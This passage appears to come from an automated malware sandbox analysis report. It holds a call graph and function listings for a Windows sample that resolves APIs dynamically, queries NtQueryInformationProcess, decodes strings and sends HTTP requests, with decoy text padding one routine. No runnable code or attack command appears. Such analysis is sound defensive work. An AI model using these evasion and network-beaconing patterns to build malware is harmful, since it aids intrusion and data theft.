38779->38780 38781 cd4610 2 API calls 38780->38781 38782 cd4004 38781->38782 38783 cd4610 2 API calls 38782->38783 38784 cd401d 38783->38784 38785 cd4610 2 API calls 38784->38785 38786 cd4036 38785->38786 38787 cd4610 2 API calls 38786->38787 38788 cd404f 38787->38788 38789 cd4610 2 API calls 38788->38789 38790 cd4068 38789->38790 38791 cd4610 2 API calls 38790->38791 38792 cd4081 38791->38792 38793 cd4610 2 API calls 38792->38793 38794 cd409a 38793->38794 38795 cd4610 2 API calls 38794->38795 38796 cd40b3 38795->38796 38797 cd4610 2 API calls 38796->38797 38798 cd40cc 38797->38798 38799 cd4610 2 API calls 38798->38799 38800 cd40e5 38799->38800 38801 cd4610 2 API calls 38800->38801 38802 cd40fe 38801->38802 38803 cd4610 2 API calls 38802->38803 38804 cd4117 38803->38804 38805 cd4610 2 API calls 38804->38805 38806 cd4130 38805->38806 38807 cd4610 2 API calls 38806->38807 38808 cd4149 38807->38808 38809 cd4610 2 API calls 38808->38809 38810 cd4162 38809->38810 38811 cd4610 2 API calls 38810->38811 38812 cd417b 38811->38812 38813 cd4610 2 API calls 38812->38813 38814 cd4194 38813->38814 38815 cd4610 2 API calls 38814->38815 38816 cd41ad 38815->38816 38817 cd4610 2 API calls 38816->38817 38818 cd41c6 38817->38818 38819 cd4610 2 API calls 38818->38819 38820 cd41df 38819->38820 38821 cd4610 2 API calls 38820->38821 38822 cd41f8 38821->38822 38823 cd4610 2 API calls 38822->38823 38824 cd4211 38823->38824 38825 cd4610 2 API calls 38824->38825 38826 cd422a 38825->38826 38827 cd4610 2 API calls 38826->38827 38828 cd4243 38827->38828 38829 cd4610 2 API calls 38828->38829 38830 cd425c 38829->38830 38831 cd4610 2 API calls 38830->38831 38832 cd4275 38831->38832 38833 cd4610 2 API calls 38832->38833 38834 cd428e 38833->38834 38835 cd4610 2 API calls 38834->38835 38836 cd42a7 38835->38836 38837 cd4610 2 API calls 38836->38837 38838 cd42c0 38837->38838 38839 cd4610 2 API calls 38838->38839 38840 cd42d9 38839->38840 38841 cd4610 2 API calls 38840->38841 38842 cd42f2 38841->38842 38843 cd4610 2 API calls 38842->38843 38844 cd430b 38843->38844 38845 cd4610 2 API calls 38844->38845 38846 cd4324 38845->38846 38847 cd4610 2 API calls 38846->38847 38848 cd433d 38847->38848 38849 cd4610 2 API calls 38848->38849 38850 cd4356 38849->38850 38851 cd4610 2 API calls 38850->38851 38852 cd436f 38851->38852 38853 cd4610 2 API calls 38852->38853 38854 cd4388 38853->38854 38855 cd4610 2 API calls 38854->38855 38856 cd43a1 38855->38856 38857 cd4610 2 API calls 38856->38857 38858 cd43ba 38857->38858 38859 cd4610 2 API calls 38858->38859 38860 cd43d3 38859->38860 38861 cd4610 2 API calls 38860->38861 38862 cd43ec 38861->38862 38863 cd4610 2 API calls 38862->38863 38864 cd4405 38863->38864 38865 cd4610 2 API calls 38864->38865 38866 cd441e 38865->38866 38867 cd4610 2 API calls 38866->38867 38868 cd4437 38867->38868 38869 cd4610 2 API calls 38868->38869 38870 cd4450 38869->38870 38871 cd4610 2 API calls 38870->38871 38872 cd4469 38871->38872 38873 cd4610 2 API calls 38872->38873 38874 cd4482 38873->38874 38875 cd4610 2 API calls 38874->38875 38876 cd449b 38875->38876 38877 cd4610 2 API calls 38876->38877 38878 cd44b4 38877->38878 38879 cd4610 2 API calls 38878->38879 38880 cd44cd 38879->38880 38881 cd4610 2 API calls 38880->38881 38882 cd44e6 38881->38882 38883 cd4610 2 API calls 38882->38883 38884 cd44ff 38883->38884 38885 cd4610 2 API calls 38884->38885 38886 cd4518 38885->38886 38887 cd4610 2 API calls 38886->38887 38888 cd4531 38887->38888 38889 cd4610 2 API calls 38888->38889 38890 cd454a 38889->38890 38891 cd4610 2 API calls 38890->38891 38892 cd4563 38891->38892 38893 cd4610 2 API calls 38892->38893 38894 cd457c 38893->38894 38895 cd4610 2 API calls 38894->38895 38896 cd4595 38895->38896 38897 cd4610 2 API calls 38896->38897 38898 cd45ae 38897->38898 38899 cd4610 2 API calls 38898->38899 38900 cd45c7 38899->38900 38901 cd4610 2 API calls 38900->38901 38902 cd45e0 38901->38902 38903 cd4610 2 API calls 38902->38903 38904 cd45f9 38903->38904 38905 ce9f20 38904->38905 38906 cea346 8 API calls 38905->38906 38907 ce9f30 43 API calls 38905->38907 38908 cea3dc GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 38906->38908 38909 cea456 38906->38909 38907->38906 38908->38909 38910 cea526 38909->38910 38911 cea463 8 API calls 38909->38911 38912 cea52f GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 38910->38912 38913 cea5a8 38910->38913 38911->38910 38912->38913 38914 cea647 38913->38914 38915 cea5b5 6 API calls 38913->38915 38916 cea72f 38914->38916 38917 cea654 9 API calls 38914->38917 38915->38914 38918 cea738 GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 38916->38918 38919 cea7b2 38916->38919 38917->38916 38918->38919 38920 cea7ec 38919->38920 38921 cea7bb GetProcAddress GetProcAddress 38919->38921 38922 cea825 38920->38922 38923 cea7f5 GetProcAddress GetProcAddress 38920->38923 38921->38920 38924 cea922 38922->38924 38925 cea832 10 API calls 38922->38925 38923->38922 38926 cea98d 38924->38926 38927 cea92b GetProcAddress GetProcAddress GetProcAddress GetProcAddress 38924->38927 38925->38924 38928 cea9ae 38926->38928 38929 cea996 GetProcAddress 38926->38929 38927->38926 38930 ce5ef3 38928->38930 38931 cea9b7 GetProcAddress GetProcAddress GetProcAddress GetProcAddress 38928->38931 38929->38928 38932 cd1590 38930->38932 38931->38930 39202 cd16b0 38932->39202 38935 ceaab0 lstrcpy 38936 cd15b5 38935->38936 38937 ceaab0 lstrcpy 38936->38937 38938 cd15c7 38937->38938 38939 ceaab0 lstrcpy 38938->38939 38940 cd15d9 38939->38940 38941 ceaab0 lstrcpy 38940->38941 38942 cd1663 38941->38942 38943 ce5760 38942->38943 38944 ce5771 38943->38944 38945 ceab30 2 API calls 38944->38945 38946 ce577e 38945->38946 38947 ceab30 2 API calls 38946->38947 38948 ce578b 38947->38948 38949 ceab30 2 API calls 38948->38949 38950 ce5798 38949->38950 38951 ceaa50 lstrcpy 38950->38951 38952 ce57a5 38951->38952 38953 ceaa50 lstrcpy 38952->38953 38954 ce57b2 38953->38954 38955 ceaa50 lstrcpy 38954->38955 38956 ce57bf 38955->38956 38957 ceaa50 lstrcpy 38956->38957 38966 ce57cc 38957->38966 38958 ceaa50 lstrcpy 38958->38966 38959 ce5893 StrCmpCA 38959->38966 38960 ce58f0 StrCmpCA 38961 ce5a2c 38960->38961 38960->38966 38962 ceabb0 lstrcpy 38961->38962 38963 ce5a38 38962->38963 38965 ceab30 2 API calls 38963->38965 38964 ceab30 lstrlen lstrcpy 38964->38966 38967 ce5a46 38965->38967 38966->38958 38966->38959 38966->38960 38966->38964 38968 ce5aa6 StrCmpCA 38966->38968 38973 cd1590 lstrcpy 38966->38973 38977 ce5c5b StrCmpCA 38966->38977 38978 ce5510 25 API calls 38966->38978 38991 ceabb0 lstrcpy 38966->38991 38992 ce59da StrCmpCA 38966->38992 38994 ceaab0 lstrcpy 38966->38994 38996 ce5b8f StrCmpCA 38966->38996 38997 ce5440 20 API calls 38966->38997 38970 ceab30 2 API calls 38967->38970 38968->38966 38969 ce5be1 38968->38969 38971 ceabb0 lstrcpy 38969->38971 38972 ce5a55 38970->38972 38974 ce5bed 38971->38974 38975 cd16b0 lstrcpy 38972->38975 38973->38966 38976 ceab30 2 API calls 38974->38976 38995 ce5a61 38975->38995 38979 ce5bfb 38976->38979 38980 ce5c78 38977->38980 38981 ce5c66 Sleep 38977->38981 38978->38966 38982 ceab30 2 API calls 38979->38982 38983 ceabb0 lstrcpy 38980->38983 38981->38966 38984 ce5c0a 38982->38984 38986 ce5c84 38983->38986 38985 cd16b0 lstrcpy 38984->38985 38985->38995 38987 ceab30 2 API calls 38986->38987 38988 ce5c93 38987->38988 38989 ceab30 2 API calls 38988->38989 38990 ce5ca2 38989->38990 38993 cd16b0 lstrcpy 38990->38993 38991->38966 38992->38966 38993->38995 38994->38966 38995->38050 38996->38966 38997->38966 38999 ce76dc 38998->38999 39000 ce76e3 GetVolumeInformationA 38998->39000 38999->39000 39001 ce7721 39000->39001 39002 ce778c GetProcessHeap RtlAllocateHeap 39001->39002 39003 ce77b8 wsprintfA 39002->39003 39004 ce77a9 39002->39004 39006 ceaa50 lstrcpy 39003->39006 39005 ceaa50 lstrcpy 39004->39005 39007 ce5ff7 39005->39007 39006->39007 39007->38071 39009 ceaab0 lstrcpy 39008->39009 39010 cd48e9 39009->39010 39211 cd4800 39010->39211 39012 cd48f5 39013 ceaa50 lstrcpy 39012->39013 39014 cd4927 39013->39014 39015 ceaa50 lstrcpy 39014->39015 39016 cd4934 39015->39016 39017 ceaa50 lstrcpy 39016->39017 39018 cd4941 39017->39018 39019 ceaa50 lstrcpy 39018->39019 39020 cd494e 39019->39020 39021 ceaa50 lstrcpy 39020->39021 39022 cd495b InternetOpenA StrCmpCA 39021->39022 39023 cd4994 39022->39023 39024 cd4f1b InternetCloseHandle 39023->39024 39217 ce8cf0 39023->39217 39026 cd4f38 39024->39026 39232 cda210 CryptStringToBinaryA 39026->39232 39027 cd49b3 39225 ceac30 39027->39225 39030 cd49c6 39032 ceabb0 lstrcpy 39030->39032 39037 cd49cf 39032->39037 39033 ceab30 2 API calls 39034 cd4f55 39033->39034 39036 ceacc0 4 API calls 39034->39036 39035 cd4f77 codecvt 39039 ceaab0 lstrcpy 39035->39039 39038 cd4f6b 39036->39038 39041 ceacc0 4 API calls 39037->39041 39040 ceabb0 lstrcpy 39038->39040 39052 cd4fa7 39039->39052 39040->39035 39042 cd49f9 39041->39042 39043 ceabb0 lstrcpy 39042->39043 39044 cd4a02 39043->39044 39045 ceacc0 4 API calls 39044->39045 39046 cd4a21 39045->39046 39047 ceabb0 lstrcpy 39046->39047 39048 cd4a2a 39047->39048 39049 ceac30 3 API calls 39048->39049 39050 cd4a48 39049->39050 39051 ceabb0 lstrcpy 39050->39051 39053 cd4a51 39051->39053 39052->38074 39054 ceacc0 4 API calls 39053->39054 39055 cd4a70 39054->39055 39056 ceabb0 lstrcpy 39055->39056 39057 cd4a79 39056->39057 39058 ceacc0 4 API calls 39057->39058 39059 cd4a98 39058->39059 39060 ceabb0 lstrcpy 39059->39060 39061 cd4aa1 39060->39061 39062 ceacc0 4 API calls 39061->39062 39063 cd4acd 39062->39063 39064 ceac30 3 API calls 39063->39064 39065 cd4ad4 39064->39065 39066 ceabb0 lstrcpy 39065->39066 39067 cd4add 39066->39067 39068 cd4af3 InternetConnectA 39067->39068 39068->39024 39069 cd4b23 HttpOpenRequestA 39068->39069 39071 cd4f0e InternetCloseHandle 39069->39071 39072 cd4b78 39069->39072 39071->39024 39073 ceacc0 4 API calls 39072->39073 39074 cd4b8c 39073->39074 39075 ceabb0 lstrcpy 39074->39075 39076 cd4b95 39075->39076 39077 ceac30 3 API calls 39076->39077 39078 cd4bb3 39077->39078 39079 ceabb0 lstrcpy 39078->39079 39080 cd4bbc 39079->39080 39081 ceacc0 4 API calls 39080->39081 39082 cd4bdb 39081->39082 39083 ceabb0 lstrcpy 39082->39083 39084 cd4be4 39083->39084 39085 ceacc0 4 API calls 39084->39085 39086 cd4c05 39085->39086 39087 ceabb0 lstrcpy 39086->39087 39088 cd4c0e 39087->39088 39089 ceacc0 4 API calls 39088->39089 39090 cd4c2e 39089->39090 39091 ceabb0 lstrcpy 39090->39091 39092 cd4c37 39091->39092 39093 ceacc0 4 API calls 39092->39093 39094 cd4c56 39093->39094 39095 ceabb0 lstrcpy 39094->39095 39096 cd4c5f 39095->39096 39097 ceac30 3 API calls 39096->39097 39098 cd4c7d 39097->39098 39099 ceabb0 lstrcpy 39098->39099 39100 cd4c86 39099->39100 39101 ceacc0 4 API calls 39100->39101 39102 cd4ca5 39101->39102 39103 ceabb0 lstrcpy 39102->39103 39104 cd4cae 39103->39104 39105 ceacc0 4 API calls 39104->39105 39106 cd4ccd 39105->39106 39107 ceabb0 lstrcpy 39106->39107 39108 cd4cd6 39107->39108 39109 ceac30 3 API calls 39108->39109 39110 cd4cf4 39109->39110 39111 ceabb0 lstrcpy 39110->39111 39112 cd4cfd 39111->39112 39113 ceacc0 4 API calls 39112->39113 39114 cd4d1c 39113->39114 39115 ceabb0 lstrcpy 39114->39115 39116 cd4d25 39115->39116 39117 ceacc0 4 API calls 39116->39117 39118 cd4d46 39117->39118 39119 ceabb0 lstrcpy 39118->39119 39120 cd4d4f 39119->39120 39121 ceacc0 4 API calls 39120->39121 39122 cd4d6f 39121->39122 39123 ceabb0 lstrcpy 39122->39123 39124 cd4d78 39123->39124 39125 ceacc0 4 API calls 39124->39125 39126 cd4d97 39125->39126 39127 ceabb0 lstrcpy 39126->39127 39128 cd4da0 39127->39128 39129 ceac30 3 API calls 39128->39129 39130 cd4dbe 39129->39130 39131 ceabb0 lstrcpy 39130->39131 39132 cd4dc7 39131->39132 39133 ceaa50 lstrcpy 39132->39133 39134 cd4de2 39133->39134 39135 ceac30 3 API calls 39134->39135 39136 cd4e03 39135->39136 39137 ceac30 3 API calls 39136->39137 39138 cd4e0a 39137->39138 39139 ceabb0 lstrcpy 39138->39139 39140 cd4e16 39139->39140 39141 cd4e37 lstrlen 39140->39141 39142 cd4e4a 39141->39142 39143 cd4e53 lstrlen 39142->39143 39231 ceade0 39143->39231 39145 cd4e63 HttpSendRequestA 39146 cd4e82 InternetReadFile 39145->39146 39147 cd4eb7 InternetCloseHandle 39146->39147 39152 cd4eae 39146->39152 39149 ceab10 39147->39149 39149->39071 39150 ceacc0 4 API calls 39150->39152 39151 ceabb0 lstrcpy 39151->39152 39152->39146 39152->39147 39152->39150 39152->39151 39238 ceade0 39153->39238 39155 ce1a14 StrCmpCA 39156 ce1a1f ExitProcess 39155->39156 39167 ce1a27 39155->39167 39157 ce1c12 39157->38076 39158 ce1acf StrCmpCA 39158->39167 39159 ce1aad StrCmpCA 39159->39167 39160 ce1b82 StrCmpCA 39160->39167 39161 ce1b63 StrCmpCA 39161->39167 39162 ce1bc0 StrCmpCA 39162->39167 39163 ce1b41 StrCmpCA 39163->39167 39164 ce1ba1 StrCmpCA 39164->39167 39165 ce1b1f StrCmpCA 39165->39167 39166 ce1afd StrCmpCA 39166->39167 39167->39157 39167->39158 39167->39159 39167->39160 39167->39161 39167->39162 39167->39163 39167->39164 39167->39165 39167->39166 39168 ceab30 lstrlen lstrcpy 39167->39168 39168->39167 39169->38082 39170->38084 39171->38090 39172->38092 39173->38098 39174->38100 39175->38104 39176->38108 39177->38112 39178->38118 39179->38120 39180->38124 39181->38138 39182->38142 39183->38141 39184->38137 39185->38141 39186->38157 39187->38145 39188->38147 39189->38151 39190->38153 39191->38159 39192->38161 39193->38168 39194->38174 39195->38195 39196->38199 39197->38198 39198->38194 39199->38198 39200->38208 39203 ceaab0 lstrcpy 39202->39203 39204 cd16c3 39203->39204 39205 ceaab0 lstrcpy 39204->39205 39206 cd16d5 39205->39206 39207 ceaab0 lstrcpy 39206->39207 39208 cd16e7 39207->39208 39209 ceaab0 lstrcpy 39208->39209 39210 cd15a3 39209->39210 39210->38935 39212 cd4816 39211->39212 39213 cd4888 lstrlen 39212->39213 39237 ceade0 39213->39237 39215 cd4898 InternetCrackUrlA 39216 cd48b7 39215->39216 39216->39012 39218 ceaa50 lstrcpy 39217->39218 39219 ce8d04 39218->39219 39220 ceaa50 lstrcpy 39219->39220 39221 ce8d12 GetSystemTime 39220->39221 39223 ce8d29 39221->39223 39222 ceaab0 lstrcpy 39224 ce8d8c 39222->39224 39223->39222 39224->39027 39226 ceac41 39225->39226 39227 ceac98 39226->39227 39229 ceac78 lstrcpy lstrcat 39226->39229 39228 ceaab0 lstrcpy 39227->39228 39230 ceaca4 39228->39230 39229->39227 39230->39030 39231->39145 39233 cda249 LocalAlloc 39232->39233 39234 cd4f3e 39232->39234 39233->39234 39235 cda264 CryptStringToBinaryA 39233->39235 39234->39033 39234->39035 39235->39234 39236 cda289 LocalFree 39235->39236 39236->39234 39237->39215 39238->39155

                                    Executed Functions

                                    Function 00CE9BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212libraryloaderCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 660 ce9bb0-ce9bc4 call ce9aa0 663 ce9bca-ce9dde call ce9ad0 GetProcAddress * 21 660->663 664 ce9de3-ce9e42 LoadLibraryA * 5 660->664 663->664 666 ce9e5d-ce9e64 664->666 667 ce9e44-ce9e58 GetProcAddress 664->667 669 ce9e96-ce9e9d 666->669 670 ce9e66-ce9e91 GetProcAddress * 2 666->670 667->666 671 ce9e9f-ce9eb3 GetProcAddress 669->671 672 ce9eb8-ce9ebf 669->672 670->669 671->672 673 ce9ed9-ce9ee0 672->673 674 ce9ec1-ce9ed4 GetProcAddress 672->674 675 ce9ee2-ce9f0c GetProcAddress * 2 673->675 676 ce9f11-ce9f12 673->676 674->673 675->676
                                    APIs
                                    • GetProcAddress.KERNEL32(75900000,015907C8), ref: 00CE9BF1
                                    • GetProcAddress.KERNEL32(75900000,015907E0), ref: 00CE9C0A
                                    • GetProcAddress.KERNEL32(75900000,01590810), ref: 00CE9C22
                                    • GetProcAddress.KERNEL32(75900000,01590840), ref: 00CE9C3A
                                    • GetProcAddress.KERNEL32(75900000,01590828), ref: 00CE9C53
                                    • GetProcAddress.KERNEL32(75900000,01598AB0), ref: 00CE9C6B
                                    • GetProcAddress.KERNEL32(75900000,01586680), ref: 00CE9C83
                                    • GetProcAddress.KERNEL32(75900000,01586740), ref: 00CE9C9C
                                    • GetProcAddress.KERNEL32(75900000,01590588), ref: 00CE9CB4
                                    • GetProcAddress.KERNEL32(75900000,015905B8), ref: 00CE9CCC
                                    • GetProcAddress.KERNEL32(75900000,015905D0), ref: 00CE9CE5
                                    • GetProcAddress.KERNEL32(75900000,01590630), ref: 00CE9CFD
                                    • GetProcAddress.KERNEL32(75900000,01586980), ref: 00CE9D15
                                    • GetProcAddress.KERNEL32(75900000,01590648), ref: 00CE9D2E
                                    • GetProcAddress.KERNEL32(75900000,01590678), ref: 00CE9D46
                                    • GetProcAddress.KERNEL32(75900000,015866E0), ref: 00CE9D5E
                                    • GetProcAddress.KERNEL32(75900000,015906A8), ref: 00CE9D77
                                    • GetProcAddress.KERNEL32(75900000,015908A0), ref: 00CE9D8F
                                    • GetProcAddress.KERNEL32(75900000,01586860), ref: 00CE9DA7
                                    • GetProcAddress.KERNEL32(75900000,01590888), ref: 00CE9DC0
                                    • GetProcAddress.KERNEL32(75900000,01586800), ref: 00CE9DD8
                                    • LoadLibraryA.KERNEL32(015908B8,?,00CE6CA0), ref: 00CE9DEA
                                    • LoadLibraryA.KERNEL32(015908D0,?,00CE6CA0), ref: 00CE9DFB
                                    • LoadLibraryA.KERNEL32(015908E8,?,00CE6CA0), ref: 00CE9E0D
                                    • LoadLibraryA.KERNEL32(01590900,?,00CE6CA0), ref: 00CE9E1F
                                    • LoadLibraryA.KERNEL32(01590918,?,00CE6CA0), ref: 00CE9E30
                                    • GetProcAddress.KERNEL32(75070000,01590858), ref: 00CE9E52
                                    • GetProcAddress.KERNEL32(75FD0000,01590870), ref: 00CE9E73
                                    • GetProcAddress.KERNEL32(75FD0000,01598DC0), ref: 00CE9E8B
                                    • GetProcAddress.KERNEL32(75A50000,01598C28), ref: 00CE9EAD
                                    • GetProcAddress.KERNEL32(74E50000,01586760), ref: 00CE9ECE
                                    • GetProcAddress.KERNEL32(76E80000,01598B20), ref: 00CE9EEF
                                    • GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00CE9F06
                                    Strings
                                    • NtQueryInformationProcess, xrefs: 00CE9EFA
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AddressProc$LibraryLoad
                                    • String ID: NtQueryInformationProcess
                                    • API String ID: 2238633743-2781105232
                                    • Opcode ID: b4cec95f221f3992710886e7294e8b3a291623e1b126e5e4752473b727b72cc9
                                    • Instruction ID: ff72dc35e21e12bbf61480c54a5e8e61d2f4d9637a0a013e848c451e7b2ce3ed
                                    • Opcode Fuzzy Hash: b4cec95f221f3992710886e7294e8b3a291623e1b126e5e4752473b727b72cc9
                                    • Instruction Fuzzy Hash: EBA1FEF66183089FC344EFA9EC88E667BF9A78F701714861AB909C3270D7349941EF60
                                    Function 00CD4610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148memoryCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 764 cd4610-cd46e5 RtlAllocateHeap 781 cd46f0-cd46f6 764->781 782 cd46fc-cd479a 781->782 783 cd479f-cd47f9 VirtualProtect 781->783 782->781
                                    APIs
                                    • RtlAllocateHeap.NTDLL(00000000), ref: 00CD465F
                                    • VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00CD47EC
                                    Strings
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD46BD
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD4707
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD47AA
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD4672
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD4784
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD4617
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD4728
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD467D
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD479F
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD47C0
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD4622
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD4693
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD47B5
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD462D
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD4688
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD46C8
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD4779
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD46D3
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD46FC
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD471D
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD4667
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD4643
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD478F
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD47CB
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD4712
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD476E
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD4638
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD46B2
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD46A7
                                    • The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00CD4763
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2091020905.0000000000CD1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CD0000, based on PE: true
                                    • Associated: 00000000.00000002.2091008439.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000CFC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E0D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091020905.0000000000FA6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000121D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.000000000123F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001249000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091277826.0000000001257000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091487386.0000000001258000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091582506.00000000013F3000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2091595746.00000000013F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_cd0000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AllocateHeapProtectVirtual
